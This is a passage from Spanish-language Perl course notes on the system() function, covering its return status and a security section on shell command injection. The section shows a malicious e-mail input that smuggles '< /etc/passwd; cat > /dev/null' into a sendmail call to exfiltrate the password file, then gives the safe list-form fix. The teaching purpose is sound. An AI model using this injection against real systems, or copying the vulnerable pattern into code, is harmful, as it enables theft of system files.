A Juana




















For it is in teaching that we learn
And it is in understanding that we are understood

Casiano Rodríguez León
2010-03-22
ola > juan.txt El valor devuelto por system es el status del proceso hijo, tal y como lo devuelve la función wait (vea la sección 3.1). Para obtener el valor de retorno del programa hay que hacer un shift right 8 a ese valor.
lhp@nereida:~/Lperl/src/perl_networking/ch2$ cat -n status.pl
     1  my $s = system('ls -l /chuchu');
     2  print "$s\n";
lhp@nereida:~/Lperl/src/perl_networking/ch2$ perl status.pl
ls: /chuchu: No existe el fichero o el directorio
256
La funcion system retorna -1 si el programa no se pudo arrancar.

Seguridad y system

Supongamos un guión cuya función es enviar un cierto fichero $filename a una dirección de e-mail $address que se lee desde un fichero o un socket:

chomp($address = <$in>);
system "/usr/sbin/sendmail $address < $filename";

Este guión tiene un hueco en su seguridad. Supongamos que un usuario malintencionado da como entrada:

travieso@hotmail.com < /etc/passwd; cat > /dev/null

esto resultará en la ejecución de:

system "/usr/sbin/sendmail travieso@hotmail.com < /etc/passwd; cat > /dev/null < $file";

y el fichero /etc/passwd será enviado a travieso@hotmail.com.

Obsérvese que esto no ocurre si el guión anterior se sustituye por:

chomp($address = <$in>);
open STDIN, "< $filename";
system "/usr/sbin/sendmail", $address;
dado que los símbolos de redirección pierden su valor como metasímbolos.

Ejercicio 1.1.1   Estudie e instale el módulo Proc::Background. desde CPAN en su máquina. Explique su funcionamiento. ¿Considera que el módulo es fiable? Lea el fichero Makefile.PL. Coméntelo. ¿Que hace la opción PL_FILES? Explique el funcionamiento del ejecutable timed-process. ¿Que hace la opción require_order de GetOpt::Long?



Subsecciones
Casiano Rodríguez León
2010-04-20